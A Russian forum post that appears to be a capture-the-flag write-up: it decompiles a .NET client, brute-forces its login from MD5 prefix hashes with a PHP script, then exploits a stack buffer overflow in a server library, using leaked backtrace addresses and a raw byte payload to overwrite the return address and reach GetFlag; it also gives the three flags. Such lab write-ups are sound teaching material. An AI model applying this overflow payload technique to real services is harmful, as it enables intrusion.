Задание:
Внезапно наступило затишье. Никто мне не присылал никаких странных файлов, мой телефон не «сходил с ума», необычных встреч не происходило. Я начал всерьез волноваться, что либо надо мной подшутили, либо я не замечаю чего-то очевидного и, в конце концов, провалю испытание. Со всеми этими масонскими тайнами я совсем потерял покой и сон. На работе коллеги отмечали, что я выгляжу уставшим, интересовались, не заболел ли я. Отговаривался типичной питерской болезнью – простудой и нехваткой солнца. Но лучшего друга мне провести не удалось.
Он, как и я, увлекался информационной безопасностью, в чем-то разделял мои увлечения масонами, был просто кладезью знаний и надежным человеком. Беседуя с ним, я думал о том, что если он не получил приглашения в Братство масонов, то это очень глупо с их стороны! Чем больше я об этом думал, тем обиднее мне становилось за друга. В итоге я всё ему рассказал.
Друг долго молчал, а затем негромко сказал: «Знаешь, а ведь я к тебе не просто так пришел». Оказалось, что у него на ноутбуке непонятным образом появилась некая программа login.exe. Что она делает, и откуда она взялась, друг так и не смог понять и решил обратиться за помощью ко мне. Что ж, сказанное мной в некотором роде проливало свет на внезапное появление непонятной программы.
За окном было темно, в чашках на столе остывал чай. Но пока что всё, что нам удалось достать – это тот самый login.exe и файл.so
Решение:
Клиентское приложение [login.exe].
Первым этапом надо найти логин:
Это .NET приложение, открываем через .NET Reflector.VSPro.v7.3.0.18 и смотрим код. Интересные участки:
Code:public Form1() { this.InitializeComponent(); this.host = "79.175.2.85"; this.port = 0x1f90; this.hashes = new string[] { "dfa7b3505d612417911b86b89f869d6c", "73b6951965fda60be0c69da1411e59af", "4ad9eab6a9bd83eec4723d05444059e2", "4f60dca64aedd943e4fccb8bbf18e25c", "9ed2ac984ed7182a4974a4bab0ad8fcd", "826fc5d7998c16eeb77abc00702a00ab", "4ec559ee5a6249f0c69ab8ff9b804072", "0eebdd1e6d919d04cdee9646607786c3", "172cfbcb9d8de7425233fd7183f43c21", "7174ce70d0702083e26d285196d36cf2", "77526663ec282d1d1f62229ab980edd5", "c7f399fb9f981ba2445ba573ec668cef", "efa9d9d29367af2b3c1cc1494f882f2d", "01e5f7d323222fd161fcbd0b32f26b2b", "83daec0d569704618ecf60d19b031082", "a2c2c74263df7545cb857b69ce5820b2", "ac13be701bc79036602ae9f355e6c389", "d33bf0c58b48508c706d32c6e8a171d4", "138378fc00ad7d559f0418019e750b19", "39eb98f5edec84e35f52feff51c94a25", "3ff5db4ebc8437f338ce978fddcfb334", "e1cd7a2a000a2fe69f909a2e46dab073", "bf80eafce6f8d51220dd6603295852d5", "f8bc2fbe2c937ea5b5e8839cbea69491", "e8bb39c756ad2b46a80b3f07c8422037", "a3d4832c6cc0b51163e04301e6a17b55", "bc7a6cff6c8507488e186d378ec12b38", "deaeb78d2c64a16cecd1a718e226db52", "c81e728d9d4c2f636f067f89cc14862c", "7742638106aea26564f3f6fa02fe1265", "7c8104aa5e88bee40658c61c5f869284", "71e157ffdf45f4946e95d0ac115466a1" }; }Наш логин должен быть длиной в 32 символа и должен быть равен какому-то хэшу из this.hases. Пишем небольшой брут для логина:Code:private void textBox1_TextChanged(object sender, EventArgs e) { string text = this.textBox1.Text; if (text.Length == 0) { this.label1.Text = "Enter you login"; } else if (!this.hashes.Contains<string>(this.GetHashString(text))) { this.label1.Text = "Incorrect login!"; } else if (text.Length == 0x20) { this.label1.Text = "You have successfully logged in!"; this.groupBox1.Enabled = false; this.tcpSocket = new TcpClient(this.host, this.port); this.groupBox2.Visible = true; this.timer1.Start(); } else { this.label1.Text = "Enter next character of your login"; } }
Code:$hashes = array('dfa7b3505d612417911b86b89f869d6c', '73b6951965fda60be0c69da1411e59af', '4ad9eab6a9bd83eec4723d05444059e2', '4f60dca64aedd943e4fccb8bbf18e25c', '9ed2ac984ed7182a4974a4bab0ad8fcd', '826fc5d7998c16eeb77abc00702a00ab', '4ec559ee5a6249f0c69ab8ff9b804072', '0eebdd1e6d919d04cdee9646607786c3', '172cfbcb9d8de7425233fd7183f43c21', '7174ce70d0702083e26d285196d36cf2', '77526663ec282d1d1f62229ab980edd5', 'c7f399fb9f981ba2445ba573ec668cef', 'efa9d9d29367af2b3c1cc1494f882f2d', '01e5f7d323222fd161fcbd0b32f26b2b', '83daec0d569704618ecf60d19b031082', 'a2c2c74263df7545cb857b69ce5820b2', 'ac13be701bc79036602ae9f355e6c389', 'd33bf0c58b48508c706d32c6e8a171d4', '138378fc00ad7d559f0418019e750b19', '39eb98f5edec84e35f52feff51c94a25', '3ff5db4ebc8437f338ce978fddcfb334', 'e1cd7a2a000a2fe69f909a2e46dab073', 'bf80eafce6f8d51220dd6603295852d5', 'f8bc2fbe2c937ea5b5e8839cbea69491', 'e8bb39c756ad2b46a80b3f07c8422037', 'a3d4832c6cc0b51163e04301e6a17b55', 'bc7a6cff6c8507488e186d378ec12b38', 'deaeb78d2c64a16cecd1a718e226db52', 'c81e728d9d4c2f636f067f89cc14862c', '7742638106aea26564f3f6fa02fe1265', '7c8104aa5e88bee40658c61c5f869284', '71e157ffdf45f4946e95d0ac115466a1'); $alphabet = '0123456789abcdef'; $alp_len = strlen($alphabet); $hash_len = count($hashes); $string = ''; $rrrr = ''; for($ss = 0; $ss < 32; $ss++) { for($j = 0; $j < $alp_len; $j++) { $rrrr = $string . $alphabet[$j]; $md5_hash = md5($rrrr); #echo $md5_hash."\n"; for($k = 0; $k < $hash_len; $k++) { if ($md5_hash == $hashes[$k]) { echo $rrrr . "\n"; $string = $rrrr; } } } }Первый флаг равен 2b638b6da52bfad2d99dbab4018237df.Code:Вывод брута: 2 2b 2b6 2b63 2b638 2b638b 2b638b6 2b638b6d 2b638b6da 2b638b6da5 2b638b6da52 2b638b6da52b 2b638b6da52bf 2b638b6da52bfa 2b638b6da52bfad 2b638b6da52bfad2 2b638b6da52bfad2d 2b638b6da52bfad2d9 2b638b6da52bfad2d99 2b638b6da52bfad2d99d 2b638b6da52bfad2d99db 2b638b6da52bfad2d99dba 2b638b6da52bfad2d99dbab 2b638b6da52bfad2d99dbab4 2b638b6da52bfad2d99dbab40 2b638b6da52bfad2d99dbab401 2b638b6da52bfad2d99dbab4018 2b638b6da52bfad2d99dbab40182 2b638b6da52bfad2d99dbab401823 2b638b6da52bfad2d99dbab4018237 2b638b6da52bfad2d99dbab4018237d 2b638b6da52bfad2d99dbab4018237df
С клиентской частью разобрались:
Серверное приложение [libtest.so]:
libtest.so - это ELF64 for x86-64 (Shared object).
Сначала нам надо обойти авторизацию для получения второго флага.
Воспользуемся дизассемблером IDA pro, и проанализируем функцию StartTest:
Функция выделяет 32 байта под локальные переменные, читает пароль из файла /home/srv/pass.txt b и записывает 16 байт (во вторую половину стэка). Затем программа читает пароль клиента и может записать 100 байт, в начало стэка и позволяет манипулировать данными стэка.
Найдем участок кода, где проверяется пароль:
За проверку отвечает функция strcmp(server_pass, user_pass).
Аттака заключается в перезаписи пароля "server_pass" в стэке на "user_pass".
Второй флаг равен 3ed54ac12757f4c2b4fabd64d41de42d.
Получение третьего флага:
За получение отвечает функция GetFlag:
Чтобы получить флаг, надо в стэке переписать адрес возврата и вычислить адрес функции GetFlag.
При отправке пароля длиной больше 16 символов получим отладочную информацию, которая поможет вычислить адрес:
b'\nbacktrace()\n/home/srv/libtest.so(PrintBacktrace+0x29) [0x7f62f8178c8a]\n/home/srv/libtest.so(StartTest+0xd0) [0x7f62f8178dd4]\nsrv.bin() [0x4007f9]\n[0x7f62f8b63020]\n\nEnter password: '
Сначала вычислим размер функции GetFlag. Из рисунка 6.jpg берем адреса PrintBacktrace[0xC61] - GetFlag[0xBF5] = 0x6C.
Вычисляем адрес PrintBacktrace из отладочной информации 0x7f62f8178c8a - 0x29 = 0x7F62F8178C61.
Адрес GetFlag = PrintBacktrace[0x7F62F8178C61] - 0x6C = 0x7F62F8178BF5.
Осталось собрать полезную нагрузку: 32 байта под локальные переменны функции + EBP + адрес GetFlag
Code:PAYLOAD = b'\x00\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x42\x42\x42\x42\xF5\x8B\x17\xF8\x62\x7F\x00\x00\x0A'
Третий флаг равен 1946fcc08e026023fd53f935769c7f52.










Reply With Quote
Thanks